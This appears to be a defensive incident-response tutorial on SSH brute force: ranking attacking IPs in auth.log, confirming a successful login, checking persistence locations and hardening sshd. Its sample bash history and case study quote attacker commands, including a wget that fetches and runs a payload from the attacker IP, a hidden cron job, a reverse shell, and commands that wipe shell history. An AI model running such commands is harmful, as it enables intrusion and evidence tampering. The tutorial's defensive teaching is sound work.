Master Linux SSH brute force investigation — parsing auth.log with grep and awk to rank attacking IPs, confirming whether any login succeeded, tracing post-login attacker activity through bash history and process logs, understanding the full Linux persistence mechanism landscape, and hardening SSH configuration to close the attack surface permanently.
SSH Brute Force Response
SSH is the standard remote administration protocol for Linux servers. Because it provides full shell access it is constantly targeted by automated brute force bots. Every internet-facing SSH server receives thousands of attempts daily from bots running breach credential lists.
Linux logs all SSH authentication attempts in auth.log (Debian/Ubuntu) or /var/log/secure (RHEL/CentOS). A SOC analyst must determine: attack origin, whether any login succeeded, what the attacker did if they got in, and how to stop them.
The Scale of the Problem
Internet-facing SSH on port 22 is attacked from the moment a server comes online. Honeypot research consistently shows that a fresh Linux server with SSH on port 22 and password authentication enabled receives its first login attempt within minutes of being provisioned, and thousands of attempts within 24 hours. These are fully automated bots running through breach credential databases — testing common usernames (root, ubuntu, admin, deploy, test) against passwords from previous data breaches and common password lists.
The practical implication for analysts: a brute force in auth.log is not unusual or targeted — it is background noise from the internet. The critical question is always whether the background noise included a successful login. A 4,821-attempt brute force with zero successes is lower priority than a 50-attempt brute force with one success.
Imagine a physical lock on a door that records every key insertion attempt in a paper log. The internet's automated bots are like a robot standing outside every door in every city simultaneously, trying millions of keys from stolen key databases. Most attempts fail and the log fills with unsuccessful tries. But when the robot finds a matching key, the log shows: thousands of failures, one success, door opened. The analyst's job is to find that success among the noise, and then check what the robot did after it got inside — because it did not come for sightseeing. The bash history is the security camera recording of everything it touched inside.
Reading auth.log
# Failed attempt: May 14 03:22:01 server sshd[1234]: Failed password for admin from 45.33.32.156 port 54231 ssh2 # Successful login: May 14 03:24:17 server sshd[1289]: Accepted password for ubuntu from 45.33.32.156 port 54488 ssh2 # Fields: timestamp | hostname | process[PID] | event | username | source IP | port | protocol # Key distinction: "Failed password" vs "Accepted password" -- that one word is everything
SSH Brute Force Investigation
Extract and rank attacking IPs to identify the primary threat source. The IP with the highest failure count is the active brute force attempt.
grep "Failed password" /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -rn | head 4821 45.33.32.156 342 185.234.219.8 89 103.21.58.200 # 4,821 failed attempts from one IP -- active automated brute force # 342 and 89 are lower-volume scanners -- common background noise
The critical question: did the brute force succeed? Always check "Accepted password" from the attacking IP — this is the binary question that determines incident severity.
grep "45.33.32.156" /var/log/auth.log | grep "Accepted" May 14 03:24:17 sshd[1289]: Accepted password for ubuntu from 45.33.32.156 # Brute force SUCCEEDED -- ubuntu account compromised at 03:24:17 # Disable the account immediately, investigate post-login activity # Time gap: first attempt 03:22:01, success 03:24:17 -- 136 seconds of attack
Check bash history and process logs to understand exactly what the attacker did after gaining access.
cat /home/ubuntu/.bash_history whoami id uname -a wget http://45.33.32.156/payload.sh chmod +x payload.sh && ./payload.sh crontab -e # Classic post-compromise sequence: recon, download payload, execute, persist via cron # Note: bash_history can be cleared by attacker -- absence of history is also suspicious
Block the attacker at the firewall immediately, then apply SSH hardening to prevent recurrence — key-based auth eliminates brute force entirely.
ufw deny from 45.33.32.156 # Then harden /etc/ssh/sshd_config to eliminate password auth: PasswordAuthentication no (SSH keys only -- brute force impossible) PermitRootLogin no (direct root SSH always disabled) MaxAuthTries 3 (limit attempts per connection) AllowUsers deploy webadmin (explicit allowlist of permitted users) systemctl restart sshd apt install fail2ban -y # fail2ban auto-blocks IPs after N failures -- rate-limits brute force
What You Need to Know
Advanced auth.log Analysis — Beyond the Basics
The four-command workflow (grep Failed, count IPs, grep Accepted, check bash_history) covers the majority of SSH brute force investigations. But attackers who successfully compromise a system often take steps to cover their tracks. Understanding what else to look for — and what the absence of expected evidence means — is what separates a complete investigation from one that leaves gaps.
Username Targeting Patterns
The usernames an attacker tests reveal whether the attack is opportunistic (generic bot using a standard list) or targeted (attacker with prior knowledge of the environment).
grep "Failed password" /var/log/auth.log | awk '{print $9}' | sort | uniq -c | sort -rn | head -20 892 root 741 admin 438 ubuntu 312 deploy 289 test 47 dbadmin 31 jenkins # root/admin/ubuntu/deploy/test = generic bot list -- opportunistic # dbadmin and jenkins suggest attacker knows what runs on this server # If attacking specific service accounts: likely targeted, not generic scan
What Bash History Cannot Tell You
Bash history is the first place analysts check and the first thing sophisticated attackers clear or disable. A pristine or missing bash history is itself a finding. Several techniques are used to hide post-compromise commands:
- History disabled at login:
unset HISTFILEprevents any commands from being recorded for that session. If the attacker runs this as their first command, the history will be empty — but the auth.log still shows the successful login. - History file deleted:
rm ~/.bash_historyremoves all prior history. An empty or missing .bash_history for an account with confirmed login activity is highly suspicious. - Commands piped through bash -c: Some techniques execute commands without them appearing in the user's history at all. Cross-reference with process accounting logs (if enabled) or auditd.
When bash history is empty or missing for a confirmed-compromised account, fall back on: auditd process logs (if configured), /var/log/syslog for process creation events, crontab entries (crontab -l -u ubuntu), and filesystem timestamps on recently modified files (find / -newer /tmp -type f -mtime -1 2>/dev/null).
Linux Persistence Mechanisms — The Complete Checklist
After gaining access via SSH brute force, attackers establish persistence to ensure they retain access even if the compromised password is changed. Unlike Windows where persistence often involves the registry, Linux persistence is distributed across several filesystem locations and system mechanisms that must each be checked.
SSH authorized_keys: Adding the attacker's public key to ~/.ssh/authorized_keys allows key-based login that survives password changes and is unaffected by fail2ban. Check all user home directories.
Crontab entries: crontab -l -u username for each user, plus /etc/cron.* directories and /var/spool/cron/crontabs/. Cron persistence runs regardless of whether the user is logged in.
Startup scripts: /etc/rc.local, /etc/init.d/, ~/.bashrc, ~/.profile. Commands appended to profile scripts run on every shell start.
Systemd services: systemctl list-units --type=service and /etc/systemd/system/. A new service with no business justification is a persistence mechanism.
New user accounts: cat /etc/passwd | grep -v nologin | grep -v false — check for new interactive accounts. Attackers often create a new user with sudo rights as a stealthy backdoor.
Sudo rights modification: cat /etc/sudoers and ls /etc/sudoers.d/ — new sudo grants for unexpected accounts or NOPASSWD rules for attacker-created accounts.
Modified authorized_keys for root: Check /root/.ssh/authorized_keys separately — root key-based login persists even if PermitRootLogin is set to no for password auth (key-based root auth may still be permitted depending on config).
UID 0 accounts: awk -F: '$3==0' /etc/passwd — any account with UID 0 has effective root. There should be exactly one: root. Any additional UID 0 account is a backdoor.
A systematic sweep of all persistence locations on the compromised ubuntu account after brute force success confirmed.
# 1. Check authorized_keys for all users: find /home /root -name "authorized_keys" -exec cat {} \; ssh-rsa AAAAB3NzaC1yc2E... attacker@kali (added by attacker) # 2. Check all crontabs: crontab -l -u ubuntu */5 * * * * /tmp/.update >/dev/null 2>&1 (hidden payload, runs every 5 min) # 3. Check for new interactive accounts: awk -F: '$3>=1000 && $7!~/nologin|false/' /etc/passwd backdoor:x:1001:1001::/home/backdoor:/bin/bash (new account created) # 4. Check for UID 0 accounts (should only be root): awk -F: '$3==0' /etc/passwd root:x:0:0:root:/root:/bin/bash (expected) # No additional UID 0 accounts found -- good # 5. Check systemd for new services: systemctl list-units --type=service --state=enabled | grep -v "snap\|snap-" update-checker.service enabled (no business justification -- investigate)
SSH Hardening — From Vulnerable to Defensible
The default SSH configuration on most Linux distributions prioritises compatibility over security. A hardened configuration eliminates the brute force attack surface entirely and significantly reduces the remaining attack surface. The single most impactful change — disabling password authentication — takes 30 seconds to implement and makes SSH brute force mathematically infeasible.
PasswordAuthentication no — key-based auth only. Eliminates brute force entirely. Before applying, ensure at least one authorised key is in place.
PermitRootLogin no — disable direct root SSH login. Always use a regular account with sudo escalation.
MaxAuthTries 3 — disconnect after 3 failed attempts. Dramatically slows automated brute force tools.
AllowUsers deploy webadmin — explicit allowlist. All other users denied SSH regardless of their system password.
Port 2222 — moving SSH off port 22 eliminates the lowest-effort bots (though not determined attackers).
Fail2ban: Installs in minutes, monitors auth.log, and bans IPs after configurable failed attempts (default 5 in 10 minutes). Essential complement to sshd hardening.
Firewall allowlist: If SSH is only needed from specific IP ranges (office, VPN, jump server), allowlist those ranges and deny all others. ufw allow from 10.0.0.0/8 to any port 22 then ufw deny 22.
VPN-gated SSH: For highest-security environments, remove direct internet SSH entirely. Require VPN authentication before SSH is accessible. Eliminates the internet-facing attack surface completely.
Jump hosts / bastion: Route all SSH through a hardened bastion server with full audit logging. Never allow direct SSH from the internet to production servers.
Alert: IDS fires on high-volume SSH failures from 45.33.32.156 against web-server-01 (18.185.44.91). Analyst checks auth.log via centralised SIEM.
Failure count: 4,821 failed password attempts across root (1,843), admin (1,244), ubuntu (892), and other common usernames. Attack started at 03:22:01, automated and fast.
Success check: grep "45.33.32.156" auth.log | grep Accepted — returns one line: ubuntu account, 03:24:17. Brute force succeeded in 136 seconds. Severity escalated to Critical.
Post-login activity: bash_history shows: whoami, id, wget http://45.33.32.156/payload.sh, chmod +x payload.sh, ./payload.sh, crontab -e. Payload script downloaded and executed. Crontab modified.
Persistence found: Crontab entry for ubuntu user: */5 * * * * /tmp/.update >/dev/null 2>&1 — a hidden file running every 5 minutes. Authorized_keys for ubuntu had one new entry — attacker's public key. Two persistence mechanisms total.
Containment: ubuntu account locked. Attacker IP blocked at firewall and network ACL. Crontab entry removed. /tmp/.update deleted. Authorized_keys entry removed. payload.sh analysed — reverse shell to 45.33.32.156:4444. Firewall logs show three outbound connections to that IP before containment — connection was live for 14 minutes.
Hardening applied: PasswordAuthentication no in sshd_config (authorised admin keys already in place), fail2ban installed, MaxAuthTries reduced to 3. Ubuntu password changed. Incident closed with 14-minute attacker dwell time recorded.
Core Concepts Summary
You've covered the theory. Now apply it hands-on in the simulated environment.
Start Lab — IR06 Brute Force SSH→← Return to all labs